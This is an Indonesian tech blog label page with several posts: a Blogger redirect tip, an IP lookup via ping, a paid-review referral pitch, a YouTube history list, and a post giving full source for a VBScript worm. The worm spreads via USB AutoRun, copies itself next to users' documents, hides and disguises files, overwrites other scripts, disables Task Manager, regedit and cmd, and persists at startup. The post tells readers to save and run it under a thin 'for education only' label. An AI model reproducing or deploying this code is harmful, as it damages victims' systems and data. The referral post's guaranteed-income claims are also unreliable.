Home / tekno
Showing posts with label tekno. Show all posts
Showing posts with label tekno. Show all posts
Salah satu tutorial blogging yang jarang kita temui di blog blog para master mungkin adalah post kali ini. Yaitu membahas tentang gimana caranya mengarahkan (redirect) url blog kita ke url blog lain. Tutorial ini sangat kita butuhkan saat blog kita sepi oleh pengunjung karena masih baru dan kita ingin mengarahkan url lawas ke url blog baru kita. Wah gaya bahasanya kok bluwet :))


Ok sekarang langsung kita coba aja, Cara Membuat Auto Redirect URL


Step 1

Seperti biasa kita Log in blog => Dashboard => Layout => Edit HTML


Step 2

Gunakan CTRL + F untuk menemukan kode ini : <head>


Step 3

Bila langkah diatas selesai, pastekan kode berikut tepat dibawahnya:

<meta content='0;url=http://gantikan URL blog anda pada teks ini' http-equiv='refresh'/>

Terakhir : SAVE template kamu.


Nah sekarang url blog kamu akan otomatis mengarah ke url blog lain yang kamu inginkan.. Selamat mencoba semoga bermanfaat !

Cara Membuat Auto Redirect URL

Pernakah anda ingin suatu apa alamat IP suatu web yang sering anda kunjugi?Ada satu cara agar kita bisa tau alamat IP suatu situs/web..

1.cara melacak alamt IP suatu situs

untuk melakukan hal ini tidak diperlukan suatu software khusus cukup menggunakan
fasilitas yang telah disediakan oleh windows.Kita bisa menggunakan Dos.


Caranya
masuk ke comand prompt. anda bisa klik Run-cmd-dan ketikkan ping Nama situs yang ingin dilacak lalu tekan enter.Setelah anda tekan enter,maka akan
tertera alamat IP situs tersebut.
ex: ping www.areros.co.cc - trus tekan enter
maka font berwarna merah adalah alamat Ip web tersebut.


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\glouzien>ping www.areros.co.cc

Pinging ghs.l.google.com [74.125.53.121] with 32 bytes of data:

Reply from 74.125.53.121: bytes=32 time=586ms TTL=44
Reply from 74.125.53.121: bytes=32 time=471ms TTL=44
Reply from 74.125.53.121: bytes=32 time=1020ms TTL=44
Reply from 74.125.53.121: bytes=32 time=2200ms TTL=44

Ping statistics for 74.125.53.121:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 471ms, Maximum = 2200ms, Average = 1069ms

2.Melacak lokasi server(real address)

Setelah anda mendapatkan IP address situs tersebut.Andapun bisa mengetahui dimana lokasi negara dan kota situs tersebut berada.Caranya buka ww.domainwhitepages.com.
Lalu masukkan IP address situs tersebut atau alamat situs tersebut.andapun akan mendapatkan informasi lengkap tentang lokasi situs tersebut.

dari tips diatas, semoga kita bisa mengambil manfaat dan penulis tidak bermaksud untuk mengajarkan tentang cracker. namun inilah fakta technologi yang harus kita ketahui.



Cara Melacak Alamat IP komputer




Setelah beberapa silam yang lalu, kepergian CIAO membawa luka yang dalam bagi semua pebisnis online termasuk di tanah air ini. CIAO adalah program layaknya paid review yang kita akan dibayar bila menuliskan review product, rating, comment dll. Namun semua tinggallah kenangan dan CIAO sekarang telah menemukan hidup baru dengan bergabung bersama perusahaan Microsoft. Semoga kaw bahagia ... !!

Namun, tenang dulu cui. Masih ada harapan bagi kita yaitu munculnya program bagaikan CIAO yang bisa dijadikan lahan bisnis online terbaru. Dia itu adalah www.imreportcard.com - sekilas program ini akan membayar kita bila mereview product internet marketing seperti adbrite, kontera, namecheap, socialbots, dan tentu dalam mereview menggunakan bahasa BULE alias basa Inggris.


PAYMENT PROOF

Yang jelas,program ini bukanlah program SCAM karena payment proof udah nampang disini. Untuk minimal payout adalah $20, berarti sama dengan 2000 point/kredit yang harus kita kumpulkan. Dan tips yang umum digunakan adalah, sering-sering comment dan memberikan rating maka lama kelamaan point akan bertambah. Kalau di fokusin dijamin dalam 1 minggu pasti udah bisa payout. Keep fighting .. !! Dan prosese payment 24 jam bila telah melakukan redeem.






The System (How It Works)

Ok. Imreportcard pays you $.50 (50 points) for a 100-word review which you can write in 5-10 minutes. You'll find lots of products, people and services to review, thousands. If you're the first to review a product, you earn 150 ($1.50) for that particular 100-word review. If you're 2nd to post a review for a particular product you earn 100 points ($1.00) for a 100-word review. Also whenever you review a product you can grade the product, giving you an additional 10 points ($0.10).




Tertarik untuk mencoba ? Ok, gerakan mouse mu dengan segera dan klik link dibawah ini... hehehe.. pakai referal aku yah...


http://www.imreportcard.com/r/aldrix182




www.imreportcard.com - Penghasil dollar bagaikan CIAO


Semua pasti sangat familiar dengan situs yang satu ini www.youtube.com . YouTube adalah sebuah situs web video sharing (berbagi video) paling populer saat ini. Para pengguna dapat memuat, menonton, dan berbagi klip video secara gratis. Umumnya video-video di YouTube adalah klip musik (video klip), film, TV, serta video buatan para penggunanya sendiri. Format yang digunakan video-video di YouTube adalah .flv yang dapat diputar di penjelajah web yang memiliki plugin Flash Player.

Nah dibawah ini adalah awal dan perjuangan panjang dari www.youtube.com berikut dengan fakta-faktanya:


1. Youtube didirikan pada bulan februari 2005 oleh 3 orang mantan karyawan PayPal, yaitu Chad Hurley, Steve Chen dan Jawed Karim.

2. Pada awalnya kantor pusat Youtube terletak di lantai atas sebuah restoran Pizza dan Restoran jepang di San Mateo, California.

3. Video awal yang pertama kali di Upload di Youtube berjudul "Me at The Zoo", menampilkan Jawed Karim di kebun binatang San Diego. Hingga saat ini video tersebut masih dapat disaksikan di youtube.

4. Youtube meluncurkan Beta test pada bulan Mei 2005, 6 bulan sebelum official launching yang dilaksanakan pada bulan November 2005

5. Pada bulan juli 2006 atau 8 bulan setelah diresmikan, tercatat 65.000 video baru di upload ke situs Youtube setiap harinya, dengan 100 juta views per hari


6. Pemilihan nama www.youtube.com mengakibatkan masalah bagi sebuah situs bernama mirip, www.utube.com. Pemilik situs, Universal Tube & Rollform Equipment, mengajukan gugatan terhadap YouTube pada November 2006 setelah mengalami kelebihan beban secara teratur yang diakibatkan oleh orang yang mencari situs YouTube

7. Pada bulan Oktober 2006, Google Inc. membeli Youtube senilai 1,65 miliar US $

8. Pada tahun 2007 Youtube telah mengkonsumsi Bandwidth menyamai besarnya Bandwidth keseluruhan internet di dunia pada tahun 2000

9. Pada bulan juni 2008 majalah Forbes memberitakan bahwa pendapatan Youtube selama tahun 2008 diperkirakan mencapai 200 juta US $

10. Pada tahun 2008 Youtube mendapatkan penghargaan George Foster Peabody Award dan karena telah menjadi "Speakers Corners" dan ikut berjasa dalam pengembangan demokrasi dan kebebasan berpendapat

11. Saat ini Youtube menjadi situs online Video provider paling dominan di Amerika serikat, bahkan mungkin dunia, dengan menguasai 43 persen pasar. Diperkirakan 20 Jam durasi video di upload ke Youtube setiap menitnya dengan 6 miliar views per hari

Sejarah awal berdirinya Youtube.com

For Education Only ["Jangan disalah gunakan, hanya untuk pembelajaran"]

Virus adalah suatu hal yang pasti tidak disukai orang banyak,maka biasanya kalau kompi kena Virus,Ufh menyebalkan banget kan ???
Maka tidak ada salahnya kita buat virus kecil-kecilan,karena hal kecil bisa menjadi yang besar. Sekalian tambah wawasan mengenai seluk beluk “Si Perusak” alias viruszz …
karena belajar itu menyenangkan apalagi yang iseng-iseng. [hheeheee]


Oke langsung tancep aja, cuy .,….

1. Buka Notepad [ terserah lewat mana saja bisa kok,missal di Run>> ketik Notepad>>bLAA udh Kan???]



Copy script dibawah ini . . .


Rem sidoarjocity4154802560
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent


Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe sidoarjo hot.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\sidoarjo hot.vbs")
set tf2=fso.getfile(flashdrive.path & "\sidoarjo hot.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\lapindo.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\bacalah aku.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\duit.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil rapat.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub

Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("doc")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\blukutuk.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\blukutuk", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -28)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem sidoarjocity" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "sidoarjocity")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Ceritaku.txt.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub


Rem Created by Vir.VBS Generator V.1


2. Kalau udah selesai di copy paste aja di notepad, jadi gak perlu nulis sak’abreg gtu . .
3. Kemudian simpan [File>>Save As] kasih nama “Lapindo.vbs” [Inget harus pake tanda kutip,jangan lupa]


4.Jadi dech tuch virus, kalau kamu klik [jangan dech,agak berbahaya soalnya]

Catatan:

Kalau kamu pake Anti Virus Avira [yang gambar red umbrella] maka langsung kedetect dengan nama VBS/Autorun.T . . .
Terus kalau kamu coba klik, maka sesuai namanya “Lapindo” kompi kamu yang pake anti virus AVG.Avira,Norton akan ditenggelamin alias gak fungsi lagi…
Dan masih banyak efek lainnya
So becareful

Akhirnya cukup sudah penjelasan mengenai buat virus pake notepad,dan inget aturan mainnya For Education Only. . . Kalau ada yang tertarik,lain kali buat lagi yang lebih ganaszzz, hehheheeh



Iseng-Iseng Buat Virus Lewat Notepad

Subscribe to: Posts (Atom)

Tekno

Tutorial Blog

Internet News